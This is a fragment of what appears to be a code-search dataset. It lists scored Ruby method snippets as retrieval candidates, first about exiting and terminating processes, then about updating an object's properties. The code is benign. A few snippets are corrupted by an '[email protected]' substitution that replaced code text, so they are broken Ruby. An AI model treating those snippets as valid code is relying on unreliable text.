"0.5898527", "text": "def exitAfterLoop\n @exited = true\n end", "title": "" }, { "docid": "703da8231e354c011e9d2bbf366b28f2", "score": "0.58802223", "text": "def at_exit(&block); end", "title": "" }, { "docid": "e5cf98ff5bdb0c6b585f49521dfedb24", "score": "0.58799666", "text": "def put_away!\n terminate!\n end", "title": "" }, { "docid": "9a41e9574338a741dc4c4826484e391b", "score": "0.58679444", "text": "def exit!\n @exiting = true\n @queue.push :__delivery_thread_exit_signal__\n end", "title": "" }, { "docid": "f1675303f3ce4be75480fb26ff36d4fe", "score": "0.5842543", "text": "def on_exit\n\t\tputs \"ruby: exiting application...\"\n\tend", "title": "" }, { "docid": "043c071fb583020a5656b482c445fec9", "score": "0.5840202", "text": "def on_exit(&block)\n after(:all, &block)\n end", "title": "" }, { "docid": "1c1b1d1740c92ba864d03a34b0103b35", "score": "0.5831599", "text": "def exit!\n Vedeu.bind(:_exit_) { Vedeu::Runtime::Application.stop }\n end", "title": "" }, { "docid": "43b37645bedaae8285b5baa044aa6f51", "score": "0.5830905", "text": "def kill\n process_actor_death\n super\n end", "title": "" }, { "docid": "ce897012df71b7e9be8bfb45905683cb", "score": "0.5826974", "text": "def exit!\n clear_jobs\n shutdown\n end", "title": "" }, { "docid": "617d2d8d50384d3418aaa8567d245465", "score": "0.5813484", "text": "def dispatch_exit_message\n write_message(@parent_write, \"EXIT\")\n end", "title": "" }, { "docid": "f1cd57bbf6a9dd0057b04a1119be322d", "score": "0.5810877", "text": "def exit\n @queue << Wamupd::Action.new(Wamupd::ActionType::QUIT)\n end", "title": "" }, { "docid": "e40e9c122010c0a6caf113bb12714607", "score": "0.580604", "text": "def terminate\n @actor_proxy.terminate\n end", "title": "" }, { "docid": "70afab3af09e54ccbff02809058aade5", "score": "0.580131", "text": "def on_exit(status)\n @exit_status = status\n\n Log.debug(format_log_message(\"Stopping host server\"))\n @pipe_server.stop\n @pipe_server = nil\n\n # signal response to ensure proper termination\n Log.debug(format_log_message(\"Terminated\"))\n @response_event.signal\n end", "title": "" }, { "docid": "585ac0c1e60863d84f0ecc66d553bf33", "score": "0.5799078", "text": "def on_exit(status)\n @exit_status = status\n check_done\n end", "title": "" }, { "docid": "6d46cb42191b2ec0e7a6ecdbd7a381e8", "score": "0.5797769", "text": "def hook_on_exit\n at_exit { teardown! }\n end", "title": "" }, { "docid": "a4f941a5f9b0bfecc32a837cce29ef0c", "score": "0.57972383", "text": "def sync_exit_with_target\n abandon = false\n status_fd_data = []\n begin\n while true\n channels_to_watch = @channels_to_finish.map { |ctf| ctf.last }\n ready = ::IO.select(channels_to_watch, nil, nil, 0.1) rescue nil\n dead = !alive?\n channels_to_read = ready && ready.first\n if dead && drain_all_upon_death?\n # finish reading all dead channels.\n channels_to_read = @channels_to_finish.map { |ctf| ctf.last }\n end\n if channels_to_read\n channels_to_read.each do |channel|\n index = @channels_to_finish.index { |ctf| ctf.last == channel }\n key = @channels_to_finish[index].first\n data = dead ? channel.gets(nil) : channel.gets\n if data\n if key == :status_fd\n status_fd_data << data\n else\n @target.method(key).call(data)\n end\n else\n # nothing on channel indicates EOF\n @channels_to_finish.delete_at(index)\n end\n end\n end\n if dead\n break\n elsif (interrupted? || timer_expired? || size_limit_exceeded?)\n interrupt\n elsif abandon = [email protected]_handler(self)\n return true # bypass any remaining callbacks\n end\n end\n wait_for_exit_status\n unless status_fd_data.empty?\n data = status_fd_data.join\n error_data = ::YAML.load(data)\n status_fd_error = ::RightScale::RightPopen::ProcessError.new(\n \"#{error_data['class']}: #{error_data['message']}\")\n if error_data['backtrace']\n status_fd_error.set_backtrace(error_data['backtrace'])\n end\n raise status_fd_error\n end\n @target.timeout_handler if timer_expired?\n @target.size_limit_handler if size_limit_exceeded?\n @target.exit_handler(@status)\n ensure\n # abandon will not close I/O objects; caller takes responsibility via\n # process object passed to watch_handler. if anyone calls interrupt\n # then close I/O regardless of abandon to try to force child to die.\n safe_close_io if !abandon || interrupted?\n end\n true\n end", "title": "" }, { "docid": "58be752bc1ea46d6578edc9db39f13e6", "score": "0.57925093", "text": "def on_exit\n\t\tputs \"ruby: exiting application... (RubyOF default)\"\n\tend", "title": "" }, { "docid": "42f67425dcb8b9007a98775025391d3d", "score": "0.57897884", "text": "def on_sig_term\n @terminate = true\n end", "title": "" }, { "docid": "e7c3e5143c3687c2284f8b53ac1b827b", "score": "0.5789452", "text": "def exit; end", "title": "" }, { "docid": "392eba1b607a6d679f09de03dbbbe773", "score": "0.5788123", "text": "def exiting?\n end", "title": "" }, { "docid": "b1dd4405f2452d325eb49edeb7ebfeaa", "score": "0.5784618", "text": "def at_exit\n logger.info \"Shutting down\"\n stop\n end", "title": "" }, { "docid": "582389b5a924e911d989e185d0d6632a", "score": "0.5782881", "text": "def external_at_exit?; end", "title": "" }, { "docid": "279cbcd3ad54361cf4800d3122b3ef0b", "score": "0.5782441", "text": "def process_exited; end", "title": "" }, { "docid": "7ae830fac1a975bce277ca9ff51f09e7", "score": "0.5779495", "text": "def send_exit(recipient, reason)\n recipient.notify_exited(current, reason)\n self\n end", "title": "" }, { "docid": "1b0211ad97cdea5ab3239f02c1802fc2", "score": "0.5774117", "text": "def exit!\n end", "title": "" }, { "docid": "a07e2559255cf9341726ba60e833324f", "score": "0.5767543", "text": "def external_at_exit; end", "title": "" }, { "docid": "01e62d80df2571cc0322805fce744576", "score": "0.5753919", "text": "def cleanup(exit_event)\n @mailbox.shutdown\n @links.send_event exit_event\n end", "title": "" }, { "docid": "d42c2b9028bf3caeff5c00724c697847", "score": "0.57465124", "text": "def at_exit(*, &_block)\n nil\nend", "title": "" }, { "docid": "a4bf814cf5d8169f1435fb736a83e0e9", "score": "0.57403517", "text": "def on_room_exit(*args, &block)\n register_hook :room_exit, args, block\n end", "title": "" }, { "docid": "4cc733327cf17c6dc00e1f0d91752aa9", "score": "0.5737064", "text": "def terminate\n enter_phase(:termination)\n self.exit # end with status code\n end", "title": "" }, { "docid": "ed93c2a6724af544cf06203ecd35786e", "score": "0.5719505", "text": "def exit\n Process.kill 'TERM', @wait_thr.pid\n @wait_thr.exit\n wait_for_logs(/^Terminated preview services$/, 10)\n end", "title": "" }, { "docid": "13de4a872c0c7b910967738ddecb6e5e", "score": "0.57091594", "text": "def user_isgoing_toexit\r\n @control_net_conn.leave_table_cmd if @control_net_conn\r\n @log.debug(\"User exit from application but gamewindow is still open...\")\r\n end", "title": "" }, { "docid": "5d2ff666d83d0459abebf954600fba01", "score": "0.56904644", "text": "def go_to_exit\n puts \"Byebye!\"\n exit\n end", "title": "" }, { "docid": "67dda9c3cc66e3c0c99581aba8bd109e", "score": "0.56896913", "text": "def exit_callbacks\n @exit_callbacks ||= []\n end", "title": "" }, { "docid": "5f794cbd7ac44947a67b088b8cf578ee", "score": "0.56732535", "text": "def wasExited\n return @exited\n end", "title": "" }, { "docid": "36b753f976644507b7203a3f1cdd15c8", "score": "0.56652945", "text": "def register_at_exit; end", "title": "" }, { "docid": "d39b3ae597a73a8b8bab68e2768a7433", "score": "0.5643047", "text": "def exit\n \nend", "title": "" }, { "docid": "424f50406d677830b577a85d7fb0eb44", "score": "0.5636207", "text": "def on_exit &block\n root_state_definition.on_exit(&block)\n end", "title": "" }, { "docid": "89f98cf5ffdc5d7bdff0425da6403a4a", "score": "0.5630417", "text": "def on_worker_exit(worker)\n mutex.synchronize do\n @pool.delete(worker)\n if @pool.empty? && !running?\n stop_event.set\n stopped_event.set\n end\n end\n end", "title": "" }, { "docid": "29a70e7241cfbcfaad8287223825e6b9", "score": "0.562763", "text": "def terminate!\n @actor_proxy.terminate!\n end", "title": "" }, { "docid": "8544e543ff4546ebcb1f40e7268acd6c", "score": "0.5626069", "text": "def exit_state\n \[email protected]_state if @delegate.respond_to? :exit_state\n end", "title": "" }, { "docid": "17e9eb307630aee9278f1f8f55410ae7", "score": "0.56195223", "text": "def exit\n cancel_scan\n @exiting = true\n @scanner_thread.join\n end", "title": "" }, { "docid": "18175233c92b4f9c14dbf5f7e91f3a41", "score": "0.56194735", "text": "def exit( message )\n highline.say message\n Kernel.exit 1\n end", "title": "" }, { "docid": "b126687ac1a24aae2ceb9f0f1c27049c", "score": "0.5608137", "text": "def exit\n send :exit\n @socket.close\n end", "title": "" }, { "docid": "6287413d074509c16907b24f23eb9e5e", "score": "0.55934834", "text": "def setup_exit_handler\n unless @at_exit_setup\n at_exit { stop }\n @at_exit_setup = true\n end\n end", "title": "" }, { "docid": "ea640439897ede0cdf6146b8dc88d5df", "score": "0.5587357", "text": "def exit_on_signals(eventloop)\n Signal.trap(\"INT\") do # necessary because ctrl-c will arrive as a raw character and not be taken into account\n terminate(eventloop, \"User interrupt\")\n end\n\n Signal.trap(\"TERM\") do\n terminate(eventloop, \"Terminating\")\n end\nend", "title": "" }, { "docid": "2a44866a9d7bcd969719875bf3bb9f52", "score": "0.55872047", "text": "def watch_for_parent_exit\n Thread.new do\n loop do\n if @writer.closed?\n puts 'Parent process died'\n exit\n end\n\n sleep 3\n end\n end\n end", "title": "" }, { "docid": "ab0db6c7a080d5b8be282b5ae2fb4c03", "score": "0.55870354", "text": "def on_exit(status)\n @status = status.exitstatus\n end", "title": "" }, { "docid": "2bb572208acdcc2049cf2c2a8d8034c2", "score": "0.5586714", "text": "def stop\n @event_thread.terminate\n @event_thread.join\n end", "title": "" }, { "docid": "443c47dd79cbef68d496b1cc4c99168d", "score": "0.5586684", "text": "def kill_worker_and_exit\n @worker.check_out\n @exit_started = Time.now\n @work_thread.kill && @monitor_thread.kill\n sleep 0.3 while running? && Time.now - @exit_started < WORKER_EXIT_WAIT\n return Process.exit unless running?\n @work_thread.kill! && @monitor_thread.kill!\n Process.exit\n end", "title": "" }, { "docid": "b89a1e58033d1a160266f708cb3c7957", "score": "0.557183", "text": "def on_stop(signal)\n end", "title": "" }, { "docid": "83abb1577ea35d997f839503b8cefa5b", "score": "0.5565437", "text": "def command_end\r\n # 実行内容リストをクリア\r\n @list = nil\r\n # メインのマップイベント かつ イベント ID が有効の場合\r\n if @main and @event_id > 0\r\n # イベントのロックを解除\r\n $game_map.events[@event_id].unlock\r\n end\r\n end", "title": "" }, { "docid": "385cb5c14aeec47b8d8c49d9fa07c52e", "score": "0.5562497", "text": "def stop_ruby_exiting\n @base.should_receive(:exit).and_return(true)\n end", "title": "" }, { "docid": "2716f4c36c24ff622bc14e3451e10d86", "score": "0.5556403", "text": "def shutdown\n @events.shutdown\n end", "title": "" }, { "docid": "2716f4c36c24ff622bc14e3451e10d86", "score": "0.5556403", "text": "def shutdown\n @events.shutdown\n end", "title": "" }, { "docid": "c1318fd170a49aac1aecaf66ff589106", "score": "0.5546295", "text": "def on_exit(status)\n @status = status.exitstatus\n end", "title": "" }, { "docid": "84b3bdb4bac8e3bd84ecd66dcc30eeca", "score": "0.5544265", "text": "def stop\n @loop.kill unless Thread.current == @loop\n @on_exit.each do |bl|\n send bl if bl.is_a? Symbol\n bl.call if bl.respond_to?(:call)\n end\n end", "title": "" }, { "docid": "23a53f69b97e57136741279eacf96144", "score": "0.55437905", "text": "def terminate\n raise DeadActorError, \"actor already terminated\" unless alive?\n send :terminate\n end", "title": "" }, { "docid": "0c751dba5ce5264bdb778d137249963d", "score": "0.5543235", "text": "def worker_exit=(block)\n register_hook(:worker_exit, block)\n end", "title": "" }, { "docid": "67149bad261714fb1def2180f79f06a8", "score": "0.5534309", "text": "def exit\n @scene_exit = true\n end", "title": "" }, { "docid": "f1d767db4a80836b7ab91dbc9af8b393", "score": "0.5522616", "text": "def shuttingdown?; end", "title": "" } ]
af630984682f1a0b5a68e6092af0d102
Update properties of this object
[ { "docid": "a94891758db159c9294d6fe88e67ed3f", "score": "0.0", "text": "def update!(**args)\n @memberships = args[:memberships] if args.key?(:memberships)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "title": "" } ]
[ { "docid": "184b1b1ed771473d3eb9f338c0734c38", "score": "0.73066413", "text": "def update *args\n opts = args.extract_options!\n fill_properties opts\n self.save\n end", "title": "" }, { "docid": "5076c5a88404ae72986f958710f5687a", "score": "0.72631145", "text": "def update(properties)\n @__hash__.update(properties)\n end", "title": "" }, { "docid": "60506d5995c168a570c84bcbafd6d01b", "score": "0.7164913", "text": "def update props\n # not an alias because doc\n put props\n end", "title": "" }, { "docid": "ec25850e7b3d73876b69868b5e566a7a", "score": "0.71243227", "text": "def update_properties(hash)\n hash.each do |key, value|\n self.send(\"#{key}=\", value)\n end\n end", "title": "" }, { "docid": "22938231f10efd60d4530259d1ab7161", "score": "0.7061904", "text": "def update_props(properties)\n fail 'not implemented'\n end", "title": "" }, { "docid": "22938231f10efd60d4530259d1ab7161", "score": "0.7061904", "text": "def update_props(properties)\n fail 'not implemented'\n end", "title": "" }, { "docid": "150fa2bdc1fc43d28ac45e2278a1f797", "score": "0.7012263", "text": "def update_properties(hash)\n hash.each do |key, value|\n setter_method = \"#{key}=\"\n if self.respond_to?(setter_method)\n self.send(setter_method, value)\n end\n end\n end", "title": "" }, { "docid": "b46342a57789464175130c5171865a4f", "score": "0.69842774", "text": "def update_properties(props)\n load_properties(force: true)\n\n deep_merge = proc do |_, old_value, new_value|\n if old_value.is_a?(Hash) && new_value.is_a?(Hash)\n old_value.merge(new_value, &deep_merge)\n else\n new_value\n end\n end\n\n props = properties.merge(props || {}, &deep_merge)\n save_properties(properties.merge(props || {}))\n self\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "e72f78e0e269f94de07625d4972f0298", "score": "0.69181895", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "4aa62f56c7ec71b9c7d914558501001b", "score": "0.67206186", "text": "def update\n update_obj\n end", "title": "" }, { "docid": "10e41ec39ba2af73495ccece21c2d8a3", "score": "0.6709326", "text": "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end", "title": "" }, { "docid": "b0508d605628b9b1ec78fe5f0697a746", "score": "0.67057854", "text": "def update_properties(hash)\n hash.each_pair do |k, v|\n self.set_property_value(k.to_s, v)\n end\n end", "title": "" }, { "docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7", "score": "0.6696149", "text": "def update(attrs)\n super(attrs)\n end", "title": "" }, { "docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7", "score": "0.6696149", "text": "def update(attrs)\n super(attrs)\n end", "title": "" }, { "docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7", "score": "0.6696149", "text": "def update(attrs)\n super(attrs)\n end", "title": "" }, { "docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7", "score": "0.6696149", "text": "def update(attrs)\n super(attrs)\n end", "title": "" }, { "docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7", "score": "0.6696149", "text": "def update(attrs)\n super(attrs)\n end", "title": "" }, { "docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7", "score": "0.6696149", "text": "def update(attrs)\n super(attrs)\n end", "title": "" }, { "docid": "092b765ad7cf3ce4b6bf4e7d8a2e6af7", "score": "0.6696149", "text": "def update(attrs)\n super(attrs)\n end", "title": "" }, { "docid": "d9b090f93fdffad34c5489c4c437c6f3", "score": "0.6662612", "text": "def update_properties(properties_element)\n end", "title": "" }, { "docid": "b7ed68c679d7eaccf546a282fab6e985", "score": "0.66259164", "text": "def apply\n update_keys\n update_columns\n update_properties\n end", "title": "" }, { "docid": "769b77b7f7f9f82ae847f5968eb201dc", "score": "0.6571848", "text": "def update_self obj\n obj.each do |k,v|\n instance_variable_set(\"@#{k}\", v) if v\n end\n end", "title": "" }, { "docid": "769b77b7f7f9f82ae847f5968eb201dc", "score": "0.6571848", "text": "def update_self obj\n obj.each do |k,v|\n instance_variable_set(\"@#{k}\", v) if v\n end\n end", "title": "" }, { "docid": "137759bf2b87f1ca55eb78e668747d15", "score": "0.6539236", "text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n end", "title": "" }, { "docid": "137759bf2b87f1ca55eb78e668747d15", "score": "0.6539236", "text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n end", "title": "" }, { "docid": "137759bf2b87f1ca55eb78e668747d15", "score": "0.6539236", "text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n end", "title": "" }, { "docid": "137759bf2b87f1ca55eb78e668747d15", "score": "0.6539236", "text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n end", "title": "" }, { "docid": "137759bf2b87f1ca55eb78e668747d15", "score": "0.6539236", "text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n end", "title": "" }, { "docid": "137759bf2b87f1ca55eb78e668747d15", "score": "0.6539236", "text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n end", "title": "" }, { "docid": "862f7aa179e3e1751693f78772c09a99", "score": "0.65159345", "text": "def assign_properties(properties); end", "title": "" }, { "docid": "328c68b6c30673dac05ca930f5da533c", "score": "0.6458067", "text": "def update_attributes(attrs)\n self.update(attrs)\n end", "title": "" }, { "docid": "328c68b6c30673dac05ca930f5da533c", "score": "0.6458067", "text": "def update_attributes(attrs)\n self.update(attrs)\n end", "title": "" }, { "docid": "d8b3bf9ec121e23dad3af2edca6e6094", "score": "0.6421526", "text": "def update(attributes); end", "title": "" }, { "docid": "63cce5e99d8dc677403b00708afc27c9", "score": "0.641709", "text": "def update\n @prop.update_attributes(prop_params)\n respond_with @prop, location: backstage_scene_props_path\n end", "title": "" }, { "docid": "3dc790e8b6e9e65eb288c97798a4c7f2", "score": "0.64154994", "text": "def set_properties inst\n model.properties.find_all { |p| model.updatable?(p.name) }.each do |p|\n inst.send(\"#{p.name}=\".to_sym, params[p.name.to_s]) if params.has_key?(p.name.to_s)\n end\n inst\n end", "title": "" }, { "docid": "9373755ebb61f1f274f6c8504a5acace", "score": "0.64146614", "text": "def reload(props = {})\n reset_changes\n super\n assign_attributes(props)\n self\n end", "title": "" }, { "docid": "fb68247cb1373a6c71a42a2aa69f1dcb", "score": "0.64143723", "text": "def update(attrs)\n @attrs = attrs\n self\n end", "title": "" }, { "docid": "fb68247cb1373a6c71a42a2aa69f1dcb", "score": "0.64143723", "text": "def update(attrs)\n @attrs = attrs\n self\n end", "title": "" }, { "docid": "23eb6f5fbeae4bf9f56ac93a4126b4b5", "score": "0.6389745", "text": "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end", "title": "" }, { "docid": "71d6a0160cffce28db4d0a25d6dbda13", "score": "0.6385747", "text": "def update!(**args)\n @count = args[:count] if args.key?(:count)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "9b95f8bc66f32e7ebbe7e63224d1ebaf", "score": "0.6364864", "text": "def update(attributes)\n attributes.each do |name, value|\n self[name] = value\n end\n end", "title": "" }, { "docid": "575f3d0c94f466263e302883e13868a6", "score": "0.6330631", "text": "def _update\n update!\n end", "title": "" }, { "docid": "7c6d5966289f9347f75aa7b24903a328", "score": "0.6327251", "text": "def _update!\n self.class.properties.each do |property, predicate|\n if dirty?(property)\n self.class.repository_or_fail.delete([subject, predicate[:predicate], nil])\n if self.class.is_list?(property)\n repo = RDF::Repository.new\n attribute_get(property).each do |value|\n repo << RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(value, self.class.properties[property][:type]))\n end\n self.class.repository_or_fail.insert(*repo)\n else\n self.class.repository_or_fail.insert(RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(attribute_get(property), self.class.properties[property][:type]))) unless attribute_get(property).nil?\n end\n end\n @attributes[:original][property] = attribute_get(property)\n @dirty[property] = nil\n @attributes[:copied][property] = NOT_SET\n end\n self.class.repository_or_fail.insert(RDF::Statement.new(@subject, RDF.type, type)) unless type.nil?\n end", "title": "" }, { "docid": "210886bcfd68fae88847f8b3464d4058", "score": "0.6325362", "text": "def update_properties!(scraper)\n log \"Updating assets for #{self.slug}\"\n# only update active properties\n Property.where(source_id: self.id, status: 1).find_each do |prop|\n begin\n scraper.update_property(prop)\n rescue Exception => e\n log \"there was a connection error #{e.message} - #{e.class}\"\n end\n end\n end", "title": "" }, { "docid": "da63345424fc9aecef032928485bd149", "score": "0.6319025", "text": "def update\n \n end", "title": "" }, { "docid": "749afa4ff068e21c7d78bbad94c19d6c", "score": "0.6313444", "text": "def update!(attributes); end", "title": "" }, { "docid": "e8639be61ed6393bc612a8aef27789d3", "score": "0.6312355", "text": "def update!(**args)\n @border = args[:border] if args.key?(:border)\n @fields = args[:fields] if args.key?(:fields)\n @object_id_prop = args[:object_id_prop] if args.key?(:object_id_prop)\n end", "title": "" }, { "docid": "6284f332cbe8c998b16d5e816c5d21ed", "score": "0.6291622", "text": "def update!(**args)\n @display_name = args[:display_name] if args.key?(:display_name)\n @parent = args[:parent] if args.key?(:parent)\n @property = args[:property] if args.key?(:property)\n @property_type = args[:property_type] if args.key?(:property_type)\n end", "title": "" }, { "docid": "6284f332cbe8c998b16d5e816c5d21ed", "score": "0.6291622", "text": "def update!(**args)\n @display_name = args[:display_name] if args.key?(:display_name)\n @parent = args[:parent] if args.key?(:parent)\n @property = args[:property] if args.key?(:property)\n @property_type = args[:property_type] if args.key?(:property_type)\n end", "title": "" }, { "docid": "5a8e82caac01cee661bc875a5b0cf723", "score": "0.6283673", "text": "def refresh\n set_attributes\n end", "title": "" }, { "docid": "9e076ce17f1607b2a6248469b63b9c05", "score": "0.62797445", "text": "def training_updated_properties=(value)\n @training_updated_properties = value\n end", "title": "" }, { "docid": "309d8f89c45737b781ca7c15a61b00a5", "score": "0.6273536", "text": "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @size_bytes = args[:size_bytes] if args.key?(:size_bytes)\n end", "title": "" }, { "docid": "309d8f89c45737b781ca7c15a61b00a5", "score": "0.6273536", "text": "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @size_bytes = args[:size_bytes] if args.key?(:size_bytes)\n end", "title": "" }, { "docid": "60d8c4f58de490a0d7cdd918c16a2cce", "score": "0.6269463", "text": "def update(attrs)\n @attrs.update(attrs)\n self\n end", "title": "" }, { "docid": "60d8c4f58de490a0d7cdd918c16a2cce", "score": "0.6269463", "text": "def update(attrs)\n @attrs.update(attrs)\n self\n end", "title": "" }, { "docid": "60d8c4f58de490a0d7cdd918c16a2cce", "score": "0.6269463", "text": "def update(attrs)\n @attrs.update(attrs)\n self\n end", "title": "" }, { "docid": "60d8c4f58de490a0d7cdd918c16a2cce", "score": "0.6269463", "text": "def update(attrs)\n @attrs.update(attrs)\n self\n end", "title": "" }, { "docid": "7a41bc9d5a07220fb8626d1fa90d2d79", "score": "0.62639254", "text": "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @source = args[:source] if args.key?(:source)\n end", "title": "" }, { "docid": "f88ac8dac0e7b4769636f755e65a14ba", "score": "0.6261997", "text": "def update!(**args)\n @fields = args[:fields] if args.key?(:fields)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "f88ac8dac0e7b4769636f755e65a14ba", "score": "0.6261997", "text": "def update!(**args)\n @fields = args[:fields] if args.key?(:fields)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "f88ac8dac0e7b4769636f755e65a14ba", "score": "0.6261997", "text": "def update!(**args)\n @fields = args[:fields] if args.key?(:fields)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "f88ac8dac0e7b4769636f755e65a14ba", "score": "0.6261997", "text": "def update!(**args)\n @fields = args[:fields] if args.key?(:fields)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "f88ac8dac0e7b4769636f755e65a14ba", "score": "0.6261997", "text": "def update!(**args)\n @fields = args[:fields] if args.key?(:fields)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "f88ac8dac0e7b4769636f755e65a14ba", "score": "0.6261997", "text": "def update!(**args)\n @fields = args[:fields] if args.key?(:fields)\n @properties = args[:properties] if args.key?(:properties)\n end", "title": "" }, { "docid": "afd53a32bf51a2ff3c438cbf011b1ee6", "score": "0.6261246", "text": "def update!\n saved = false\n retries = RETRIES\n while !saved\n begin\n res = Persistence::Setup.db.save_doc(@properties)\n @properties = Persistence::Setup.db.get(res['id'])\n saved = true\n rescue Exception => ex\n raise ex if ex.http_code != 409\n if(retries > 0)\n @new_properties = Persistence::Setup.db.get(@properties['_id'])\n @properties.each_pair do |k,v|\n if k != \"_rev\" && k != \"_id\"\n @new_properties[k] = v\n end\n end\n @properties = @new_properties\n else\n raise ex\n end\n end\n end\n :ok\n end", "title": "" }, { "docid": "118090da310d688caa13dea348732f3c", "score": "0.62579167", "text": "def update(attributes={})\n self.class.update(self, attributes)\n end", "title": "" }, { "docid": "91dc386ff8fa066852510a5d62b13078", "score": "0.62170374", "text": "def update(attrs)\n @attrs ||= {}\n @attrs.update(attrs)\n self\n end", "title": "" }, { "docid": "91dc386ff8fa066852510a5d62b13078", "score": "0.62170374", "text": "def update(attrs)\n @attrs ||= {}\n @attrs.update(attrs)\n self\n end", "title": "" }, { "docid": "6249943d1eeff63f8f611fcf73254058", "score": "0.62152076", "text": "def update\n \n end", "title": "" }, { "docid": "1c12f310aca206a2cefff8c291007668", "score": "0.6210263", "text": "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @schema = args[:schema] if args.key?(:schema)\n end", "title": "" }, { "docid": "3dfb66c3e13f181393bb4510e9fcd51f", "score": "0.62083745", "text": "def set_update(attrs = {})\n @movement.attributes = attrs.slice(*attributes_for_update)\n set_details\n\n @movement.balance = get_updated_balance\n @movement.gross_total = original_total\n @movement.set_state_by_balance!\n @movement.discounted = ( discount > 0 )\n\n @movement.balance_inventory = balance_inventory\n @movement.delivered = @movement.details.all? {|v| v.balance <= 0}\n\n @errors.new(movement).set_errors\n end", "title": "" }, { "docid": "1c0316f22c6db917fa4719767b5326a9", "score": "0.6204041", "text": "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end", "title": "" }, { "docid": "5d229ea224b1dfa7ac9ce6808ca63fc4", "score": "0.62017816", "text": "def update(attributes = {})\n super(attributes)\n retrieve!\n self\n end", "title": "" }, { "docid": "6992c0833b982296b329ec1d8c7289de", "score": "0.6201711", "text": "def update(attributes = {})\n self.attributes = attributes\n _update\n end", "title": "" }, { "docid": "2beb42793217599eea1dac4b91640e41", "score": "0.6196084", "text": "def update_attributes\n server_update_data.each_pair do |key, value|\n instance_variable_set(\"@#{key}\", value)\n end\n end", "title": "" }, { "docid": "67f76e6622d1021031437ad609613c63", "score": "0.6192824", "text": "def update(obj)\n obj.each_pair do |key, value|\n send(\"#{key}=\", value)\n end\n self\n end", "title": "" }, { "docid": "30aa07725af2114280d6e8f916ab079f", "score": "0.6183338", "text": "def update!\n\t\t\tconstruct!(self, &@update)\n\t\t\t@update = nil\n\t\t\t\n\t\t\treturn self\n\t\tend", "title": "" }, { "docid": "f1f71f298690a3bd1f5832b15038d8bb", "score": "0.6174291", "text": "def updated_properties\n @updated_properties ||= ActiveSupport::HashWithIndifferentAccess.new\n end", "title": "" }, { "docid": "e1f766468b11768b786daa133483b157", "score": "0.61730784", "text": "def update\n raise NotImplementedError\n end", "title": "" }, { "docid": 